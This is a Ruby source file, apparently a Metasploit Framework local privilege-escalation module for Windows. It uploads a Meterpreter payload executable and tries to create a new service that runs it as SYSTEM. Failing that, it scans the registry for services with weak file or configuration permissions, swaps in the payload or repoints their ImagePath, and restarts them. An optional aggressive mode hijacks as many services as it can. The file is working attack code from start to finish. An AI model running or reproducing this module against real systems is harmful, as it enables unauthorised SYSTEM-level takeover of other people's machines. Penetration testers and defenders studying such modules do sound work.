##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/windows/services'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Windows::WindowsServices
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',
'Description' => %q{
This module attempts to exploit existing administrative privileges to obtain
a SYSTEM session. If directly creating a service fails, this module will inspect
existing services to look for insecure file or configuration permissions that may
be hijacked. It will then attempt to restart the replaced service to run the
payload. This will result in a new session when this succeeds. If the module is
able to modify the service but does not have permission to start and stop the
affected service, the attacker must wait for the system to restart before a
session will be created.
},
'License' => MSF_LICENSE,
'Author' => [ 'scriptjunkie' ],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => '5'
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options([
OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
])
end
def exploit
# randomize the filename
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
# randomize the exe name
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
raw = payload.encoded
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
sysdir = session.fs.file.expand_path("%SystemRoot%")
tmpdir = session.fs.file.expand_path("%TEMP%")
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
begin
#
# Upload the payload to the filesystem
#
tempexe = tmpdir + "\\" + tempexe_name
fd = session.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
rescue ::Exception => e
print_error("Error uploading file #{filename}: #{e.class} #{e}")
return
end
#attempt to make new service
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
print_status("Trying to add a new service...")
adv = session.railgun.advapi32
manag = adv.OpenSCManagerA(nil,nil,0x10013)
if(manag["return"] != 0)
# SC_MANAGER_CREATE_SERVICE = 0x0002
# SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
if(newservice["return"] != 0)
print_status("Created service... #{newservice["return"]}")
ret = adv.StartServiceA(newservice["return"], 0, nil)
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
adv.DeleteService(newservice["return"])
adv.CloseServiceHandle(newservice["return"])
if datastore['AGGRESSIVE'] != true
adv.CloseServiceHandle(manag["return"])
return
end
else
print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
end
else
print_status("No privs to create a service...")
manag = adv.OpenSCManagerA(nil,nil,1)
if(manag["return"] == 0)
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
end
end
print_status("Trying to find weak permissions in existing services..")
#Search through list of services to find weak permissions, whether file or config
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
#for each service
service_list.each do |serv|
begin
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
if srvtype != "16"
continue
end
moved = false
configed = false
#default path, but there should be an ImagePath registry key
source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
#get path to exe; parse out quotes and arguments
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
sourcemaybe = session.fs.file.expand_path(sourceorig)
if( sourcemaybe[0] == '"' )
sourcemaybe = sourcemaybe.split('"')[1]
else
sourcemaybe = sourcemaybe.split(' ')[0]
end
begin
session.fs.file.stat(sourcemaybe) #check if it really exists
source = sourcemaybe
rescue
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
end
#try to exploit weak file permissions
if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
session.railgun.kernel32.CopyFileA(tempexe, source, false)
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
moved = true
end
#try to exploit weak config permissions
#open with SERVICE_CHANGE_CONFIG (0x0002)
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
if(servhandleret["return"] != 0)
#SERVICE_NO_CHANGE is 0xFFFFFFFF
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
configed = true
end
adv.CloseServiceHandle(servhandleret["return"])
end
if(moved != true && configed != true)
print_status("No exploitable weak permissions found on #{serv}")
continue
end
print_status("Restarting #{serv}")
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
if(servhandleret["return"] != 0)
#SERVICE_CONTROL_STOP = 0x00000001
if(adv.ControlService(servhandleret["return"],1,56))
session.railgun.kernel32.Sleep(1000)
adv.StartServiceA(servhandleret["return"],0,nil)
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
#Cleanup
if moved == true
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
end
if configed == true
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
adv.CloseServiceHandle(servhandleret["return"])
end
else
print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
end
adv.CloseServiceHandle(servhandleret["return"])
if datastore['AGGRESSIVE'] != true
return
end
else
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
end
rescue
end
end
end
end
